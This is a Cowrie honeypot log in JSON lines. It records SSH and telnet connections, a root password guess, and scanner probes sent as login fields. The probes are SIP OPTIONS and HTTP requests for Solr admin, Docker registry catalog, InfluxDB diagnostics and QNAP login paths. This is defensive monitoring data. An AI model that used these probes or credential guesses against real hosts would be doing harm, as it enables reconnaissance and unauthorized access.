{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:37.398714Z","src_ip":"103.75.183.219","session":"769b97f8a5e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vampire","message":"login attempt [root/vampire] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:38.134337Z","src_ip":"103.75.183.219","session":"769b97f8a5e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:38.279020Z","src_ip":"43.228.112.254","session":"f9c225946e29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:39.381787Z","src_ip":"103.75.183.219","session":"769b97f8a5e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.005796909332275,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:41.446573Z","src_ip":"159.223.24.250","session":"071da04c89fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.24.250","src_port":12823,"dst_ip":"10.17.0.5","dst_port":23,"session":"5881afdff5a7","protocol":"telnet","message":"New connection: 159.223.24.250:12823 (10.17.0.5:23) [session: 5881afdff5a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:41.524742Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS sip:nm SIP/2.0","password":"Via: SIP/2.0/TCP nm;branch=foo","message":"login attempt [OPTIONS sip:nm SIP/2.0/Via: SIP/2.0/TCP nm;branch=foo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:41.531740Z","src_ip":"159.223.24.250","session":"5881afdff5a7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"From: <sip:nm@nm>;tag=root","password":"To: <sip:nm2@nm2>","message":"login attempt [From: <sip:nm@nm>;tag=root/To: <sip:nm2@nm2>] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:41.535286Z","src_ip":"159.223.24.250","session":"5881afdff5a7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Call-ID: 50000","password":"CSeq: 42 OPTIONS","message":"login attempt [Call-ID: 50000/CSeq: 42 OPTIONS] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:41.538615Z","src_ip":"159.223.24.250","session":"5881afdff5a7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Max-Forwards: 70","password":"Content-Length: 0","message":"login attempt [Max-Forwards: 70/Content-Length: 0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:41.542034Z","src_ip":"159.223.24.250","session":"5881afdff5a7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Contact: <sip:nm@nm>","password":"Accept: application/sdp","message":"login attempt [Contact: <sip:nm@nm>/Accept: application/sdp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:41.544896Z","src_ip":"159.223.24.250","session":"5881afdff5a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.504256963729858,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.028904Z","src_ip":"159.223.24.250","session":"5881afdff5a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.201.80","src_port":32642,"dst_ip":"10.17.0.5","dst_port":23,"session":"c45bd4ab4853","protocol":"telnet","message":"New connection: 207.154.201.80:32642 (10.17.0.5:23) [session: c45bd4ab4853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.166876Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.65.32","src_port":22974,"dst_ip":"10.17.0.5","dst_port":23,"session":"690278da3a8f","protocol":"telnet","message":"New connection: 68.183.65.32:22974 (10.17.0.5:23) [session: 690278da3a8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.171228Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.122.74.181","src_port":48016,"dst_ip":"10.17.0.5","dst_port":23,"session":"9716471be6b7","protocol":"telnet","message":"New connection: 134.122.74.181:48016 (10.17.0.5:23) [session: 9716471be6b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.175270Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.226.127.28","src_port":22422,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e497b1d6bfd","protocol":"telnet","message":"New connection: 64.226.127.28:22422 (10.17.0.5:23) [session: 6e497b1d6bfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.178900Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.70.233","src_port":63208,"dst_ip":"10.17.0.5","dst_port":23,"session":"883649215b6f","protocol":"telnet","message":"New connection: 165.22.70.233:63208 (10.17.0.5:23) [session: 883649215b6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.184546Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.20.55","src_port":9312,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0179ddad5ec","protocol":"telnet","message":"New connection: 157.230.20.55:9312 (10.17.0.5:23) [session: d0179ddad5ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.187879Z"}
{"eventid":"cowrie.login.failed","username":"GET /solr/admin/info/system HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET /solr/admin/info/system HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.195232Z","src_ip":"207.154.201.80","session":"c45bd4ab4853","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Go-http-client/1.1","password":"Connection: close","message":"login attempt [User-Agent: Go-http-client/1.1/Connection: close] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.198828Z","src_ip":"207.154.201.80","session":"c45bd4ab4853","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"GET /v2/_catalog HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET /v2/_catalog HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.202991Z","src_ip":"134.122.74.181","session":"9716471be6b7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Go-http-client/1.1","password":"Connection: close","message":"login attempt [User-Agent: Go-http-client/1.1/Connection: close] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.206307Z","src_ip":"134.122.74.181","session":"9716471be6b7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.210745Z","src_ip":"64.226.127.28","session":"6e497b1d6bfd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Go-http-client/1.1","password":"Connection: close","message":"login attempt [User-Agent: Go-http-client/1.1/Connection: close] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.214399Z","src_ip":"64.226.127.28","session":"6e497b1d6bfd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.218513Z","src_ip":"165.22.70.233","session":"883649215b6f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)","password":"Accept: */*","message":"login attempt [User-Agent: Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.222396Z","src_ip":"165.22.70.233","session":"883649215b6f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.226046Z","src_ip":"165.22.70.233","session":"883649215b6f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"GET /cgi-bin/authLogin.cgi HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET /cgi-bin/authLogin.cgi HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.230740Z","src_ip":"157.230.20.55","session":"d0179ddad5ec","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Go-http-client/1.1","password":"Connection: close","message":"login attempt [User-Agent: Go-http-client/1.1/Connection: close] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.234907Z","src_ip":"157.230.20.55","session":"d0179ddad5ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.11396145820617676,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.280737Z","src_ip":"207.154.201.80","session":"c45bd4ab4853","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.11457347869873047,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.289768Z","src_ip":"134.122.74.181","session":"9716471be6b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.11833620071411133,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.297173Z","src_ip":"64.226.127.28","session":"6e497b1d6bfd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.13097214698791504,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.315444Z","src_ip":"165.22.70.233","session":"883649215b6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.13903260231018066,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.326825Z","src_ip":"157.230.20.55","session":"d0179ddad5ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.201.80","src_port":32658,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ddc5475c05c","protocol":"telnet","message":"New connection: 207.154.201.80:32658 (10.17.0.5:23) [session: 9ddc5475c05c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.368845Z"}
{"eventid":"cowrie.login.failed","username":"GET /solr/admin/info/system HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET /solr/admin/info/system HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.375500Z","src_ip":"207.154.201.80","session":"9ddc5475c05c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Go-http-client/1.1","password":"Connection: close","message":"login attempt [User-Agent: Go-http-client/1.1/Connection: close] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.380576Z","src_ip":"207.154.201.80","session":"9ddc5475c05c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.122.74.181","src_port":48030,"dst_ip":"10.17.0.5","dst_port":23,"session":"217723962246","protocol":"telnet","message":"New connection: 134.122.74.181:48030 (10.17.0.5:23) [session: 217723962246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.392742Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.226.127.28","src_port":22424,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f9f2213c61d","protocol":"telnet","message":"New connection: 64.226.127.28:22424 (10.17.0.5:23) [session: 6f9f2213c61d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.412411Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.70.233","src_port":63212,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d4f2417dc85","protocol":"telnet","message":"New connection: 165.22.70.233:63212 (10.17.0.5:23) [session: 4d4f2417dc85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.417477Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.20.55","src_port":9320,"dst_ip":"10.17.0.5","dst_port":23,"session":"77efd1f19501","protocol":"telnet","message":"New connection: 157.230.20.55:9320 (10.17.0.5:23) [session: 77efd1f19501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.420955Z"}
{"eventid":"cowrie.login.failed","username":"GET /v2/_catalog HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET /v2/_catalog HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.426094Z","src_ip":"134.122.74.181","session":"217723962246","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Go-http-client/1.1","password":"Connection: close","message":"login attempt [User-Agent: Go-http-client/1.1/Connection: close] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.428870Z","src_ip":"134.122.74.181","session":"217723962246","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.438179Z","src_ip":"64.226.127.28","session":"6f9f2213c61d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Go-http-client/1.1","password":"Connection: close","message":"login attempt [User-Agent: Go-http-client/1.1/Connection: close] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.442101Z","src_ip":"64.226.127.28","session":"6f9f2213c61d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.028430938720703125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.445790Z","src_ip":"165.22.70.233","session":"4d4f2417dc85","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"GET /cgi-bin/authLogin.cgi HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET /cgi-bin/authLogin.cgi HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.450290Z","src_ip":"157.230.20.55","session":"77efd1f19501","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Go-http-client/1.1","password":"Connection: close","message":"login attempt [User-Agent: Go-http-client/1.1/Connection: close] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.453211Z","src_ip":"157.230.20.55","session":"77efd1f19501","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.10206365585327148,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.470707Z","src_ip":"207.154.201.80","session":"9ddc5475c05c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.12314033508300781,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.515822Z","src_ip":"134.122.74.181","session":"217723962246","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.11756610870361328,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.529867Z","src_ip":"64.226.127.28","session":"6f9f2213c61d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.12426543235778809,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.545141Z","src_ip":"157.230.20.55","session":"77efd1f19501","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.201.80","src_port":32662,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0583c83c4d6","protocol":"telnet","message":"New connection: 207.154.201.80:32662 (10.17.0.5:23) [session: c0583c83c4d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.553478Z"}
{"eventid":"cowrie.login.failed","username":"GET /solr/admin/info/system HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET /solr/admin/info/system HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.561912Z","src_ip":"207.154.201.80","session":"c0583c83c4d6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Go-http-client/1.1","password":"Connection: close","message":"login attempt [User-Agent: Go-http-client/1.1/Connection: close] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.565124Z","src_ip":"207.154.201.80","session":"c0583c83c4d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.122.74.181","src_port":48032,"dst_ip":"10.17.0.5","dst_port":23,"session":"132cfce91616","protocol":"telnet","message":"New connection: 134.122.74.181:48032 (10.17.0.5:23) [session: 132cfce91616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.596902Z"}
{"eventid":"cowrie.login.failed","username":"GET /v2/_catalog HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET /v2/_catalog HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.602074Z","src_ip":"134.122.74.181","session":"132cfce91616","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Go-http-client/1.1","password":"Connection: close","message":"login attempt [User-Agent: Go-http-client/1.1/Connection: close] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.604525Z","src_ip":"134.122.74.181","session":"132cfce91616","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.226.127.28","src_port":22434,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef87969328c0","protocol":"telnet","message":"New connection: 64.226.127.28:22434 (10.17.0.5:23) [session: ef87969328c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.610733Z"}
{"eventid":"cowrie.login.failed","username":"GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.616356Z","src_ip":"64.226.127.28","session":"ef87969328c0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Go-http-client/1.1","password":"Connection: close","message":"login attempt [User-Agent: Go-http-client/1.1/Connection: close] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.622205Z","src_ip":"64.226.127.28","session":"ef87969328c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.20.55","src_port":9326,"dst_ip":"10.17.0.5","dst_port":23,"session":"56c9524c176e","protocol":"telnet","message":"New connection: 157.230.20.55:9326 (10.17.0.5:23) [session: 56c9524c176e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.630933Z"}
{"eventid":"cowrie.login.failed","username":"GET /cgi-bin/authLogin.cgi HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET /cgi-bin/authLogin.cgi HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.638789Z","src_ip":"157.230.20.55","session":"56c9524c176e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Go-http-client/1.1","password":"Connection: close","message":"login attempt [User-Agent: Go-http-client/1.1/Connection: close] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.641789Z","src_ip":"157.230.20.55","session":"56c9524c176e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09732484817504883,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.650716Z","src_ip":"207.154.201.80","session":"c0583c83c4d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09257698059082031,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.689407Z","src_ip":"134.122.74.181","session":"132cfce91616","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09874653816223145,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.709421Z","src_ip":"64.226.127.28","session":"ef87969328c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09585833549499512,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.726691Z","src_ip":"157.230.20.55","session":"56c9524c176e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.201.80","src_port":32666,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdefffa2e29d","protocol":"telnet","message":"New connection: 207.154.201.80:32666 (10.17.0.5:23) [session: bdefffa2e29d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.732949Z"}
{"eventid":"cowrie.login.failed","username":"GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.738536Z","src_ip":"207.154.201.80","session":"bdefffa2e29d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Go-http-client/1.1","password":"Connection: close","message":"login attempt [User-Agent: Go-http-client/1.1/Connection: close] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.741023Z","src_ip":"207.154.201.80","session":"bdefffa2e29d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09104537963867188,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:49.823921Z","src_ip":"207.154.201.80","session":"bdefffa2e29d","protocol":"telnet"}
